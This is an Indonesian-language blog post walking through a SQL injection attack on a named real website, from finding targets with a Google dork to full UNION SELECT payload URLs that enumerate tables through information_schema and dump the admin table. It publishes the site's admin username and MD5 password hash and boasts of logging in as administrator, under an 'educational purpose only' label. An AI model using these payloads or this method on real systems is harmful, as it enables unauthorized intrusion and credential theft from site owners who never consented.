WARNING: EDUCATIONAL PURPOSE ONLY !!
Dork: inurl:news.php?id=
Target:http://www.mstrifm.com:80/
Server banner:Apache/1.3.39 (Unix) mod_perl/1.30 PHP/5.2.6 mod_ssl/2.8.30 OpenSSL/0.9.7a
Operating system:Unix
Web server:Apache 1.x
Technologies:PHP,mod_ssl,mod_perl,OpenSSL
Bug:SQL Injection
Thanks To:g4pt3k
Greetz :CODER Community, X-CODE Members...
##############################################
OK...langsung aja kita cari target di google dengan keyword: inurl:news.php?id=
Pada kasus ini target yang saya dapatkan adalah :
http://www.mstrifm.com/berita.php?id=4
Berikutnya kita cek hole di web tersebut untuk mengetahui adanya bug SQL Injection..
dengan memberikan tanda single quote ' diakhir URL. Jika halaman menampilkan pesan error berarti memang terdapat bug :D:D
Kita cari column dengan perintah order by..
,perintah ini digunakan untuk mengurutkan column, jadi jika perintahnya order by 5, maka column yang pertama muncul diurutkan dari column ke-5..
sekarang kita test satu-persatu :
http://www.mstrifm.com/berita.php?id=4 order by 1 /halaman tampil normal
http://www.mstrifm.com/berita.php?id=4 order by 2 /halaman tampil normal
http://www.mstrifm.com/berita.php?id=4 order by 3 /halaman tampil normal
coba loncat ke urutan 10:
http://www.mstrifm.com/berita.php?id=4 order by 10 /halaman tampil normal
http://www.mstrifm.com/berita.php?id=4 order by 11 /halaman tampil normal
http://www.mstrifm.com/berita.php?id=4 order by 12 /halaman tampil normal
http://www.mstrifm.com/berita.php?id=4 order by 13 /terdapat pesan error
Dari test diatas kita mendapatkan error pada angka ke-13,berarti dapat diambil kesimpulan bahwa jumlah column ada 12.
Sekarang kita lakukan perintah union select diakhiri urutan column dari pertama sampai terakhir, gunanya untuk melihat di angka mana kita bisa lakukan injeksi..
jangan lupa tambahkan tanda - diawal angka parameter id, contohnya news.php?id=-10
sehingga sintak menjadi :
http://www.mstrifm.com/berita.php?id=-4 union select 1,2,3,4,5,6,7,8,9,10,11,12--
Nah tuh...keluar angka2 ajaib.:D, disitu kita akan lakukan injeksi..
Langkah berikutnya kita lakukan pengecekan versi databasenya, karena lebih mudah jika databasenya versi 5....
lebih mudah dengan versi 5, karena kita lebih mudah pula untuk mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat di database versi 4, jadi kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya.
@@version adalah command untuk melihat versi database.. bisa juga dengan menggunakan perintah version()..
sehingga sintak menjadi :
http://www.mstrifm.com/berita.php?id=-4 union select1,@@version,3,4,5,6,7,8,9,10,11,12--
Nice then...kita mendapatkan versi 5.. ^_^
sekarang kita akan mencari table dari information_schema dengan memasukkan perintah group_concat(table_name) didalam "angka ajaib" kemudian diakhir URL tambahkan from information_schema.tables where table_schema=database()--
sehingga sintak menjadi:
http://www.mstrifm.com/berita.php?id=-4 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=database()--
weww..ada table admin tuh..:D
sekarang kita akan mengintip informasi di dalam table admin, pertama cek column dulu di table admin dengan perintah group_concat(column_name) dan diakhir URL tambahkan from information_schema.columns where table_name='nama table'
http://www.mstrifm.com/berita.php?id=-4 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12 from information_schema.columns where table_name='admin'--
Ooopss...kok error ?!!
hmmm...itu berarti table 'admin' harus diconvert dulu ke hexa agar dapat dibaca oleh SQL..
dengan catatan, kita harus menambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert ke hexa..
setelah diconvert maka sintak menjadi seperti berikut:
http://www.mstrifm.com/berita.php?id=-4 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12 from information_schema.columns where table_name=0x61646d696e--
gotchaa..!!
keluar column name dan password, langsung aja kita intip isi dari column tersebut yahh..,
perintahnya: group_concat(name,0x3a,password) tambahkan diakhir URL from admin
dimana 0x3a akan menjadi tanda : yang telah diconvert ke hexa, agar format tampilannya name:password, dan command from admin adalah untuk menjalankan perintah untuk mengambil informasi dari table yang bernama admin..
http://www.mstrifm.com/berita.php?id=-4 union select 1,group_concat(name,0x3a,password),3,4,5,6,7,8,9,10,11,12 from admin--
Bravooo...dapat informasi login admin dan passwordnya..!! :D
sekarang kita bisa login sebagai admin, namun password admin telah terenkripsi dengan MD5,jadi kita harus melakukan crack terlebih dahulu agar password tersebut dapat dikenali.
Baiklah..setelah menemukan halaman login admin,kita ambil username: fajar dan password: 891d08754b7747fd368d3b0c65e5171a (yang sudah dicrack...maaf saya tidak bisa menampilkan hasil cracknya..hehee)
Berhasil..be ADMIN!!..kasus selesai..;p ^_^
WARNING: EDUCATIONAL PURPOSE ONLY !!

No comments:
Post a Comment